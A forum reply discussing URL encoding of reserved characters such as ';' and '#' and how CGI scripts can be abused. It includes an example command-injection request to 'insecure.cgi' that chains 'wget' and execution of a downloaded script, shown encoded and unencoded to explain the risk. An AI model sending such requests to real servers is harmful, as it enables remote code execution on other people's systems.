mbstevens <NOXwebmasterx@xmbstevensx.com> writes:[color=blue]
> David Dorward wrote:[color=green][color=darkred]
> >>...which is basically as you have said, but it is the
> >>security aspect that worries me.[/color]
> > What security aspect?
> >[/color]
> Crackers play naughty games with meta characters.
> '>', ';', '|', and '..' are well known as
> sources of CGI abuse. So, the receiving Perl program
> has to be smart enough to deal with them when they come.[/color]
True, but largely irrelevant to the URL encoding issue. '..', for
example, consists entirely of non-reserved characters that would never
be encoded, and the ';' exploits *rely* on it being encoded as the RFC
suggests so that the CGI script doesn't interpret it as a separator [1].
GET /cgi-bin/insecure.cgi?cmd=cd+/tmp;wget+URLOFbadscript;./badscript
is an entirely harmless request.
GET /cgi-bin/insecure.cgi?cmd=cd+/tmp%3Bwget+URLOFbadscript%3B./badscript
is a very dangerous request.
[1] This does depend on the language. CGI libraries are _recommended_
to treat ';' as a separator equivalent to '&', but not all of them do.
[color=blue]
> I don't have an example of CGI abuse using "#", and the people who
> wrote the RFC could be wrong, but I tend to trust them about things
> like this. Berners-Lee Manister and McCahill are the editors.
>
> "All unsafe characters must always be encoded within a URL. For
> example, the character "#" must be encoded within URLs even in
> systems that do not normally deal with fragment or anchor
> identifiers, so that if the URL is copied into another system that
> does use them, it will not be necessary to change the URL encoding."
>
> ...from the previous source.[/color]
I think what this is talking about is not what you think it is talking
about
:
You have the URL
http://localhost/cgi-bin/script.pl?search=%23define
The current system (System A) this URL is being held in does not use
fragment identifiers, so it *could* translate this URL internally to
http://localhost/cgi-bin/script.pl?search=#define with no ill effects
to itself.
The quotation you mention says that it shouldn't do this, however, in
case it needs to pass the URL to a second system (System B) that does
use fragment identifiers. If it has kept the # encoded as %23, then
System B will recognise it as part of the query string part of the
URL. If it does not keep it encoded, then System B will incorrectly
assume that it is the separator between the query string "search=" and
the fragment identifier "define".
You *could* make up a case where this was a security problem when the
unsafe character is '#', but in practice it's more likely to just be a
data integrity problem.
Anyway, this doesn't apply when # (or ? or =, which are also reserved
characters) is used _for_its_reserved_meaning_ in a URL as opposed to
being entered as an encoded literal character.
[color=blue]
> You might get away with passing the characters in to the Perl program
> any way you want, I suppose, but the Perl program had better be smart
> enough to interpret them correctly and in a way that won't lead to
> abuse of the CGI program.[/color]
Well, in the event that the CGI program does do something silly upon
receiving an unencoded # in the QUERY_STRING part of the GET request,
it doesn't matter how *you* pass the character in, since someone else
can always send it differently.
--
Chris